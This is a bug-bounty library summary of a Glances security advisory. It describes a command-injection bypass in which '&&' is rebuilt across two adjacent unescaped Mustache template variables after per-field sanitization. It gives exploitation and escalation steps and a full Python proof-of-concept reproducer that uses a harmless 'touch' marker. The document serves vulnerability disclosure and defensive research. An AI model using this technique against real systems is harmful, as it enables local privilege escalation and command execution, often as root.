# Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction

Glances per-field shell-operator sanitizer is bypassed by splitting '&&' across two adjacent unescaped Mustache variables, yielding command execution as the Glances user.

- Payout: Research
- Severity: high
- Program: Glances
- Found by: tonghuaroot
- Disclosed: 2026-08-17
- CVE: CVE-2026-68518
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qcpp-8x79-hhp3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qcpp-8x79-hhp3
- Tags: area:os domain:desktop impact:privesc impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** Glances action-template rendering pipeline (glances/actions.py, secure_popen)
**Root cause:** _sanitize_mustache_dict() strips '&&', '|', '>>', '>' from each template value in isolation but leaves lone '&'; chevron.render() then concatenates adjacent unescaped variables, joining a trailing '&' and a leading '&' into a real '&&' that secure_popen() interprets.
**Steps:**
1. Install pinned release: `pip install "glances==4.5.5"`.
2. Attacker (local unprivileged user) spawns a process with name ending in `&` and cmdline beginning with `& touch /tmp/glances_crossfield_pwned`.
3. Admin action template uses two adjacent unescaped variables: `logger p={{{name}}}{{{cmdline}}}`.
4. Trigger threshold so GlancesActions.run() sanitizes each field (single `&` survives), renders, and secure_popen() splits on the reconstructed `&&`.
5. Observe injected `touch` executed; negative control with escaped `{{name}}{{cmdline}}` is blocked by chevron HTML-escaping.
**How found:** Recognized the sanitizer runs per-field before rendering rather than on the rendered string; hypothesized that a lone '&' in each of two adjacent unescaped variables would join into '&&' after chevron.render(), and confirmed with a positive/negative control reproducer.
**Exploitation:** Local unprivileged user controls process/container name and cmdline; when a monitoring threshold fires, the action template renders both fields adjacently, reconstructing '&&' post-sanitization, and secure_popen() runs the attacker's segment as a separate subprocess (shell=False) as the Glances OS user, often root.
**Escalation:** Same reconstruction reaches secure_popen()'s '>' redirection and '|' pipe handling, enabling arbitrary file write and output piping beyond command chaining.
**Insight:** When a sanitizer runs on template variables individually but the sink consumes the concatenated render, test operator reconstruction across variable boundaries (e.g. '&'+'&', '>'+'>'); also check whether escaping modes ({{ }} vs {{{ }}}) change which path reaches the sink.

## Proof of concept (copied exactly from the original report)

**Reproducer script driving GlancesActions.run with cross-field &&**

```
import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions

MARK = "/tmp/glances_crossfield_pwned"
NEG  = MARK + "_neg"
for f in (MARK, NEG):
    try: os.remove(f)
    except FileNotFoundError: pass

class Args:
    time = 0
ga = GlancesActions(args=Args())

# A processlist stat item; a local low-privilege user controls both 'name' and
# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).
# 'name' ends with '&', 'cmdline' begins with '&'  ->  '&&' forms across the boundary.
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}

# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are
# neutralised by chevron HTML-escaping '&' -> '&amp;'.
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
      "INJECTED" if os.path.exists(NEG) else "blocked (expected)")

# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field
# _sanitize_mustache_dict leaves each single '&'; the '&&' operator is
# reconstructed after chevron.render, then split by secure_popen.
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
      "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")
```

**Install and run reproducer commands**

```
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"

# 2. Run the reproducer, which drives the real
#    glances.actions.GlancesActions.run() pipeline exactly as
#    glances/plugins/plugin/model.py invokes it on an alert.
./gv/bin/python repro.py
```

